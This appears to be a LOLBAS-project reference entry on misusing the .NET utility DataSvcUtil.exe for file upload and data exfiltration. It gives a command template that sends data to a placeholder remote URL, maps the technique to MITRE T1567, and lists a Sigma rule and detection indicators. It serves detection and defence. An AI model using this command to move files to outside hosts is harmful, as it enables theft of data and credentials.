DataSvcUtil.exe

Upload file, credentials or data exfiltration in general

Use Upload file

DataSvcUtil /out:{PATH_ABSOLUTE} /uri:{REMOTEURL}

Context

user

Native

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MITRE

T1567

Detection

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml

IOC: The DataSvcUtil.exe tool is installed in the .NET Framework directory.

IOC: Preventing/Detecting DataSvcUtil with non-RFC1918 addresses by Network IPS/IDS.

IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching DataSvcUtil.

Refs

docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe

docs.microsoft.com/en-us/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services

docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services

lolbas-project.github.io/lolbas/Binaries/DataSvcUtil/